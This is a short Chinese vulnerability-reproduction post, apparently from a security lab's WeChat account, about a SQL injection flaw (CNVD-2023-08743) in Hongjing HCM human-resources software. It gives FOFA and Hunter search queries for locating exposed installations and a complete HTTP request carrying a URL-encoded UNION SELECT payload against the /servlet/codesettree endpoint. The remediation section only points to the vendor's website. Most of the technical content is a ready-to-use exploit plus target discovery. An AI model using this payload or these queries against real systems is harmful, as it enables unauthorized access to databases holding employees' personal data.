0x01 阅读须知
天擎攻防实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
0x02 漏洞描述
（一） 宏景HCM
宏景HCM是一款基于云端的人力资源管理软件，旨在帮助企业提高人员管理效率和员工满意度。该软件具有全面的功能，包括人事档案、考勤管理、薪酬福利、绩效考核、培训开发等模块，并且提供了智能化的数据分析和报告功能，方便企业进行数据驱动的决策。同时，宏景HCM还支持多语言和多时区，适用于不同国家和地区的企业使用。通过宏景HCM，企业可以实现人力资源管理数字化、智能化、标准化，提高企业整体运营效率和核心竞争力。CNVD平台发布了北京宏景世纪软件股份有限公司人力资源信息管理系统（宏景 HCM）存在SQL注入漏洞的通告，漏洞编号：CNVD-2023-08743
FOFA语法：
body_string = '<div class="hj-hy-all-one-logo"'hunter语法：
web.icon=="435b5d431ded7d0776dfa621c9c63385"
GET/servlet/codesettree?categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d&codesetid=1&flag=c&parentid=-1&status=1HTTP/1.1Host: xxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
0x03 修复方案
官方修复缓解措施
补丁链接
http://hjsoft.com.cn/
原文始发于微信公众号（天擎攻防实验室）：【漏洞复现】宏景HCM SQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论